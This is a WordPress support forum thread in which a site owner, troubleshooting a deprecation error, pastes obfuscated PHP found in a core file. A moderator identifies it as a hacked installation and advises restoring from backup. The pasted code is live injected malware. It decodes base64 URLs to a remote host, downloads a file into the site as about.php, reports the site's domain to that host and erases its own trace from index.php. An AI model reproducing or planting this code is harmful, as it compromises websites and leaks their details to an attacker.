Title: function deprecated website error
Last modified: February 21, 2023

---

# function deprecated website error

 *  [annachd](https://wordpress.org/support/users/annachd/)
 * (@annachd)
 * [3 years, 3 months ago](https://wordpress.org/support/topic/function-deprecated-website-error/)
 * Hi, I cant access our website again, if I check the debug it shows:
 * **Deprecated**: Function create_function() is deprecated in **/home2/kern/Cocreateabetterworld.
   org/wp-includes/blocks/index.php** on line **2**
 * The page I need help with: _[[log in](https://login.wordpress.org/?redirect_to=https%3A%2F%2Fwordpress.org%2Fsupport%2Ftopic%2Ffunction-deprecated-website-error%2F%3Foutput_format%3Dmd&locale=en_US)
   to see the link]_

Viewing 3 replies - 1 through 3 (of 3 total)

 *  Moderator [threadi](https://wordpress.org/support/users/threadi/)
 * (@threadi)
 * [3 years, 3 months ago](https://wordpress.org/support/topic/function-deprecated-website-error/#post-16492982)
 * The function mentioned in the error message does not exist in the mentioned file.
   Which WordPress version do you use? I assume it is the current 6.1.1, but I am
   not sure. If it is this version, I would recommend a re-installation. To do this,
   go to Updates and click on the Re-Install button. Don’t worry: this will only
   re-download the WordPress core files. Of course, it would always be advisable
   to make a backup beforehand.
 *  Thread Starter [annachd](https://wordpress.org/support/users/annachd/)
 * (@annachd)
 * [3 years, 3 months ago](https://wordpress.org/support/topic/function-deprecated-website-error/#post-16495354)
 * Thanks.How do I do the update if I can’t access the dashboard. Is there any way
   to replace the index file?
 * If I look at it in the cpanel it shows:
 * 0){die(“delete success”);}die(“delete failed”);}$OO_O__O000=${“\x47\x4c\x4f\x42\
   x41\x4c\x53”}[“\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30”](“YWJvdXQucGhw”);$O0O_0_O0_O
   =$O_0_O_OO00[“\x70\x61\x74\x68″].”/”.$OO_O__O000;$OO0O0O0___=@${“\x47\x4c\x4f\
   x42\x41\x4c\x53”}[“\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f”](${“\x47\x4c\x4f\
   x42\x41\x4c\x53”}[“\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30”](“aHR0cDovLzUxbGEuaXp2NC5jb20vYS50eHQ
   =”));$OO0O0O0___=@${“\x47\x4c\x4f\x42\x41\x4c\x53”}[“\x4f\x30\x30\x30\x4f\x4f\
   x4f\x5f\x5f\x5f”]($O0O_0_O0_O,$OO0O0O0___);if($OO0O0O0___>0){$O_0_O_OO00[“\x74\
   x72\x6f\x6a\x61\x6e”]=”[http://&#8221](http://&#8221);.$O_0_O_OO00[“\x64\x6f\
   x6d\x61\x69\x6e”].”/”.$OO_O__O000;}else{$O_0_O_OO00[“\x74\x72\x6f\x6a\x61\x6e”]
   =”write failed”;}$OO_0O00O__=sprintf(${“\x47\x4c\x4f\x42\x41\x4c\x53”}[“\x4f\
   x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30”](\’aHR0cDovLzUxbGEuaXp2NC5jb20vP2Q9JXM=\’),
   ${“\x47\x4c\x4f\x42\x41\x4c\x53”}[“\x4f\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x5f”](
   ${“\x47\x4c\x4f\x42\x41\x4c\x53”}[“\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f”](
   $O_0_O_OO00)));$O__OO0O00_=${“\x47\x4c\x4f\x42\x41\x4c\x53”}[“\x4f\x4f\x4f\x5f\
   x4f\x30\x30\x5f\x30\x5f”]($OO_0O00O__);if($O__OO0O00_==”done”){$O0_0OO_O0_=$O_0_O_OO00[“\
   x70\x61\x74\x68″].”/index.php”;$OO0O0O0___=@${“\x47\x4c\x4f\x42\x41\x4c\x53”}[“\
   x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f”]($O0_0OO_O0_);$O_OO_0_0O0=${“\x47\x4c\
   x4f\x42\x41\x4c\x53”}[“\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30”](“PFw/cGhwLitcKDFcKTtcPz4
   =”);$OO0O0O0___=${“\x47\x4c\x4f\x42\x41\x4c\x53”}[“\x4f\x5f\x4f\x5f\x30\x5f\x4f\
   x30\x30\x4f”](“/$O_OO_0_0O0/si”,\’\’,$OO0O0O0___);@${“\x47\x4c\x4f\x42\x41\x4c\
   x53”}[“\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f”]($O0_0OO_O0_,$OO0O0O0___);}’);
   ${“\x47\x4c\x4f\x42\x41\x4c\x53”}[“\x4f\x5f\x4f\x4f\x5f\x5f\x30\x4f\x30\x30”](
   1);?>
 *  Moderator [threadi](https://wordpress.org/support/users/threadi/)
 * (@threadi)
 * [3 years, 3 months ago](https://wordpress.org/support/topic/function-deprecated-website-error/#post-16496175)
 * This looks like a hacked installation. I would recommend you to delete all files
   as well as the database and use an existing backup for the new setup. Once you
   have this set up, install any pending updates and also use a security plugin.
   Also change all access to your hosting.

Viewing 3 replies - 1 through 3 (of 3 total)

The topic ‘function deprecated website error’ is closed to new replies.

## Tags

 * [deprecated](https://wordpress.org/support/topic-tag/deprecated/)
 * [website down](https://wordpress.org/support/topic-tag/website-down/)

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 3 replies
 * 2 participants
 * Last reply from: [threadi](https://wordpress.org/support/users/threadi/)
 * Last activity: [3 years, 3 months ago](https://wordpress.org/support/topic/function-deprecated-website-error/#post-16496175)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
